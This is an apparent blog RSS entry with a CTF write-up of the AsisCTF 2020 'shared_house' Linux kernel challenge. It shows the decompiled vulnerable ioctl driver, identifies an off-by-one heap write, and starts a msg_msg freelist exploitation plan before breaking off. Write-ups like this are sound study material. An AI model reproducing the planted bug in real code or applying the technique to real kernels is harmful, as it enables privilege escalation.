<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>UAF on Uniguri&#39;s Blog</title>
    <link>/tags/uaf/</link>
    <description>Recent content in UAF on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Thu, 27 Feb 2025 12:17:57 +0000</lastBuildDate><atom:link href="/tags/uaf/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>AsisCTF2020Qual shared_house</title>
      <link>/posts/kernel/write-ups/ctf/asisctf2020qual-shared_house/</link>
      <pubDate>Thu, 27 Feb 2025 12:17:57 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/asisctf2020qual-shared_house/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;enviroment&#34;&gt;Enviroment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source&#34;&gt;&lt;code&gt;4.19.98&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide simple device (it has only one function: &lt;code&gt;mod_ioctl&lt;/code&gt;). And the function is like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; __padding0[&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uint64_6 &lt;span style=&#34;color:#a6e22e&#34;&gt;mod_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;a1, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; req;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;req, arg, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10LL&lt;/span&gt;)) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;14LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x80&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED002&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED002: delete_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED001&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED001: alloc_new_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (note) &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; req.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(req.size, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x6080C0LL&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED003&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED003: write_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(note, req.data, req.size))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note[req.size] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;  &lt;span style=&#34;color:#75715e&#34;&gt;// off-by-one if req.size==size
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED004&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_to_user&lt;/span&gt;(req.data, note,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          req.size)) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd ==  0xC12ED004: read_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ERROR:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;The vulnerability is obvious. The &lt;a href=&#34;https://en.wikipedia.org/wiki/Off-by-one_error&#34;&gt;off-by-one&lt;/a&gt; in write_note.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;enviroment&#34;&gt;Enviroment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source&#34;&gt;&lt;code&gt;4.19.98&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide simple device (it has only one function: &lt;code&gt;mod_ioctl&lt;/code&gt;). And the function is like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; __padding0[&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uint64_6 &lt;span style=&#34;color:#a6e22e&#34;&gt;mod_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;a1, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; req;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;req, arg, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10LL&lt;/span&gt;)) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;14LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x80&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED002&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED002: delete_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED001&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED001: alloc_new_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (note) &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; req.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(req.size, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x6080C0LL&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED003&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED003: write_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(note, req.data, req.size))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note[req.size] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;  &lt;span style=&#34;color:#75715e&#34;&gt;// off-by-one if req.size==size
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED004&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_to_user&lt;/span&gt;(req.data, note,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          req.size)) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd ==  0xC12ED004: read_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ERROR:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;The vulnerability is obvious. The &lt;a href=&#34;https://en.wikipedia.org/wiki/Off-by-one_error&#34;&gt;off-by-one&lt;/a&gt; in write_note.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;p&gt;Since the off-by-one occurs in heap chunk, I decide to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/msg.h#L9&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt; and free list.
Unlike The free list is in middle and stored protected in latest kernel, it is in front and stored raw in the provided kernel.&lt;/p&gt;
&lt;h3 id=&#34;trigger-off-by-one&#34;&gt;Trigger off-by-one&lt;/h3&gt;
&lt;p&gt;Triggering off-by-one is simple:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_alloc_new_note&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;);
